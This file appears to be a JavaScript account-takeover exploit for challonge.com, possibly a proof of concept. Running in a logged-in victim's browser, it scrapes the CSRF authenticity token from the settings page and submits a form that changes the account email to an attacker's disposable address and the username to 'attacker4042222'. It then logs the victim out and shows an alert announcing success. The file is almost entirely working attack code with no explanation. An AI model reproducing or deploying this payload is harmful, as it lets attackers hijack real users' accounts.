function reqListener () {
	//Get authenticity_token Token
  token=this.responseText.match(/<input type="hidden" name="authenticity_token" value="[a-zA-Z0-9\+\=\/]*/g).join().split('"');
  console.log(token[5]);

//Change Email&Username
          var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/challonge.com\/settings", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------8778529241429943841964468826");
        xhr.withCredentials = true;
        var body = "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"utf8\"\r\n" + 
          "\r\n" + 
          "\xe2\x9c\x93\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"_method\"\r\n" + 
          "\r\n" + 
          "put\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"authenticity_token\"\r\n" + 
          "\r\n" + 
          token[5]+"\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[email]\"\r\n" + 
          "\r\n" + 
          "logitech4-ma4x@yopmail.com\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[username]\"\r\n" + 
          "\r\n" + 
          "attacker4042222\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[full_name]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[locale]\"\r\n" + 
          "\r\n" + 
          "en\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[time_zone]\"\r\n" + 
          "\r\n" + 
          "Africa/Cairo\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[country]\"\r\n" + 
          "\r\n" + 
          "EG\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[image]\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[email_pms]\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[email_pms]\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[email_notifications]\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[email_notifications]\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[mark_read_emailed_messages]\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[allow_marketing_emails]\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"user[allow_marketing_emails]\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------8778529241429943841964468826\r\n" + 
          "Content-Disposition: form-data; name=\"commit\"\r\n" + 
          "\r\n" + 
          "Save\r\n" + 
          "-----------------------------8778529241429943841964468826--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));

        console.log(token);
        

//Logout
		function reqListener2 () {
			temp_token=this.responseText.match(/<input type="hidden" name="authenticity_token" value="[a-zA-Z0-9\+\=\/]*/g).join().split('"');
			var x= temp_token[5]
			var token= encodeURIComponent(x); 
			console.log(token);

        var logout = new XMLHttpRequest();
        logout.open("POST", "https:\/\/challonge.com\/user_session", true);
        logout.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        logout.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        logout.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
        logout.withCredentials = true;
        var body = "_method=delete&authenticity_token="+token;
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        logout.send(new Blob([aBody]));
}

var logout_token = new XMLHttpRequest();
logout_token.addEventListener("load", reqListener2);
logout_token.open("GET", "https://challonge.com/settings/edit");
logout_token.withCredentials = true;
logout_token.send();


}

var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "https://challonge.com/settings/edit");
oReq.withCredentials = true;
oReq.send();

alert("The exploit has been successful");